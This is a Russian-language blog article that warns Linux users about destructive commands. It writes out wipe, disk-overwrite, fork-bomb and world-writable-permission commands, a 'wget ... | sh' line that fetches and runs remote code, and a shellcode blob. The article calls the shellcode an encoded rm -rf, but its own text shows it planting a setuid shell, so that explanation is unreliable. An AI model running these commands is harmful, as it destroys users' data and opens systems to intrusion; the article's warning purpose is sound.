Какие самые опасные команды Linux?

Мне задавали этот вопрос много раз, и я избегал ответа на него, потому что нет определенного списка опасных команд Linux .

У вас есть инструменты, которые позволяют вам контролировать и модифицировать каждый аспект вашей операционной системы. Я не пытаюсь вас напугать, но если вы не знакомы с командами и инструментами, вы можете довольно легко испортить свою систему.

Представьте себе сценарий маленького ребенка в домашнем хозяйстве. Есть множество способов, которыми ребенок может навредить себе. Но значит ли это, что ребенка нельзя выпускать за пределы кроватки?

Здесь родители устанавливают границы и направляют ребенка. Не подходите к огню. Не суйте пальцы в электрические розетки. По мере того, как ребенок растет и набирается опыта, он может включать плиту, разводить огонь в камине и подключать электрические кабели.

Точно так же, если вы знаете несколько известных рискованных команд, вы можете избежать попадания в ловушки троллей, пытающихся обманом заставить вас выполнять команды и испортить вашу систему.

По мере того, как вы приобретете опыт и узнаете значение и использование команд и инструментов, шансы разрушить вашу систему глупыми и хитрыми командами будут уменьшаться.

1. rm -rf /*

Это, вероятно, самая печально известная команда во всех социальных сетях. Вы часто можете встретить троллей, комментирующих это в различных обсуждениях.

Команда rm используется для удаления файлов/каталогов. Флаги -r и -f используются для обозначения рекурсивного удаления всех файлов внутри указанного каталога. Теперь, без привилегий root, эта команда не причинит никакого вреда.

Выполнение команды sudo rm -rf / также не создаст никаких проблем, поскольку большинство дистрибутивов предоставляют опцию отказоустойчивости. Вам нужно указать –no-preserve-root, чтобы навредить системе.

sudo rm -rf / --no-preserve-root

Однако более простой вариант:

sudo rm -rf /*

Выполнение указанных выше команд начнет рекурсивно удалять все файлы в корневом каталоге, и в какой-то определенный момент ваша система зависнет с сообщением «Ошибка удаления файла». После перезагрузки вы будете отправлены на grub-rescue.

2. Перезапишите свой раздел

Если вы знакомы с файловыми системами, вы, вероятно, знаете, что такое /dev/sda. Это (обычно) раздел вашего диска. Оператор > используется для записи вывода предыдущей команды в указанное указанное место.

После того, как вы запустите любую команду и запишете ее в /dev/sda, введите:

echo "Hello" > /dev/sda

Это заменит ваш раздел, содержащий все данные, необходимые для загрузки системы, строкой «Hello».

3. Переместить все в пустоту

Внутри каждой системы Linux есть пустота. И эта пустота — /dev/null.

Все, что вы бросаете в эту область, теряется навсегда. Кроме того, он сообщает об успешном процессе записи после отбрасывания данных, что является основной причиной его опасности.

mv /home/user/* /dev/null

Команда mv используется для перемещения или переименования файлов/каталогов. В приведенной выше команде вы перемещаете все файлы внутри домашнего каталога в пустоту. Все ваши личные данные будут утеряны.

4. Отформатируйте жесткий диск

mkfs — это утилита командной строки, используемая для форматирования дисков и разделов. Это очень удобный инструмент для создания разделов для различных установок. Но та же команда может отформатировать и ваш диск. Форматирование диска означает удаление всех файлов, необходимых для загрузки системы.

mkfs.ext3 /dev/sda

Команда выполняет свою работу, и в итоге вы получаете испорченную систему, которую невозможно восстановить.

5. Вилочная бомба

Эта симпатичная случайная комбинация специальных символов достаточно мощна, чтобы заморозить работающую систему, исчерпав системные ресурсы.

:(){:|:&};:

& — фоновый оператор оболочки. Он информирует оболочку о переводе команды в фоновый режим. Здесь он определяет функцию с именем ‘:’, которая вызывает себя дважды, видимом и фоновом режиме. Этот процесс продолжает выполняться снова и снова, пока система не зависнет.

Как следует из названия, команда разветвляется и в конечном итоге становится цепной бомбой и поглощает все системные ресурсы. Вы будете вынуждены перезагрузить систему, что не так плохо, как другие команды в этом списке.

6. Перезапишите важные файлы конфигурации

Хотя это не команда сама по себе, это скорее мера предосторожности.

Как упоминалось выше, оператор «>» используется для записи в файл. Он просто отбрасывает все, что уже присутствует в файле, и записывает предоставленные ему новые данные.

command > config_filename

Теперь, если вы используете какой-либо важный файл конфигурации в качестве места для записи данных, он заменит содержимое, оставив систему сломанной.

7. Замените раздел мусорными данными

Команда /dev/random в Linux может создавать мусорные данные. Объедините это с командой dd и вашим разделом, и вы получите коктейль Молотова, чтобы поджечь ваш раздел.

dd if=/dev/random of=/dev/sda

Команда dd используется как средство низкоуровневого копирования. Здесь она берет случайные данные /dev/random и заменяет раздел /dev/sda этим мусором.

Подобный эффект достигается при:

cat /dev/urandom > filename

Здесь он берет мусорные данные из /dev/urandom и заполняет файл. Если не завершить его с помощью Ctrl + C, файл может занимать значительное количество места, что может иметь катастрофические последствия для слабых систем.

8. Откройте свою систему для всех

В Linux все является файлом, и каждый файл имеет определенные разрешения.

Вы можете просмотреть разрешения с помощью ls -l. Корневая файловая система недоступна для других пользователей без привилегий. Хотя это обеспечивает безопасную работу в системе, вы можете испортить все с помощью одной единственной команды.

chmod -R 777 /

Приведенная выше команда предоставляет доступ всем, ко всем файлам в корневом разделе. Это означает, что каждый, кто использует систему, имеет права на чтение, запись и выполнение. Это не хорошо для вашей системы.

9. Загрузите и запустите вредоносный контент

Как вы устанавливаете программное обеспечение в Linux? Вы используете официальный менеджер пакетов или готовые к использованию пакеты как Deb/RPM, Snap. Flatpack и др.

Однако некоторые программы не упакованы, и их разработчики предоставляют сценарии оболочки для загрузки и запуска.

Вы загружаете файл оболочки и запускаете его от имени пользователя root, чтобы установить программное обеспечение в своей системе. Вы видите в этом проблему?

Хотя он работает с официальным программным обеспечением, таким как Homebrew, вам следует дважды проверить содержимое загружаемого сценария оболочки, прежде чем запускать его напрямую, как показано ниже:

wget http://malicious_source -O- | sh

Такие команды будут загружать и запускать в вашей системе вредоносные сценарии, которые могут подорвать безопасность вашей системы.

10. Замаскированные команды

Есть много способов запускать команды в терминале Linux. Одним из таких способов являются шестнадцатеричные команды.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Хотя это выглядит причудливо, это закодированная версия команды rm -rf. Её выполнение даст тот же эффект, что и выполнение предыдущей команды. Так что, копируя и вставляя такие причудливые команды из Интернета, будьте осторожны.

Подведение итогов

Есть известный компьютерный термин «проблема существует между клавиатурой и стулом».

Потому что, в конце концов, пользователь (вы) должен убедиться, что вы не разрушите систему, слепо выполнив любую опасную команду.

В задачу UNIX не входит мешать вам прострелить себе ногу. Если вы решите это сделать, то задача UNIX, не будет против.

И эта линия в равной степени относится и к Linux. Вы получаете полный контроль над своей операционной системой. Что вы решите делать, зависит только от вас.

Я советую следующие вещи, чтобы обеспечить более безопасный опыт:

  • Попытайтесь понять команды, которые вы собираетесь запустить.
  • Сохраняйте резервную копию системных настроек с помощью Timeshift
  • Сохраняйте резервную копию личных данных (домашний каталог) с помощью DejaDup

Как я уже сказал, фиксированного списка опасных команд Linux не существует. К этому списку можно добавить еще много всего, и он просто не имеет конца.

Я надеюсь, что это дало вам некоторые подсказки о том, что вы не должны делать, чтобы оставаться в безопасности с Linux. Жду Ваши комментарии.

Насколько публикация полезна?

Нажмите на звезду, чтобы оценить!

Средняя оценка 3.7 / 5. Количество оценок: 3

Оценок пока нет. Поставьте оценку первым.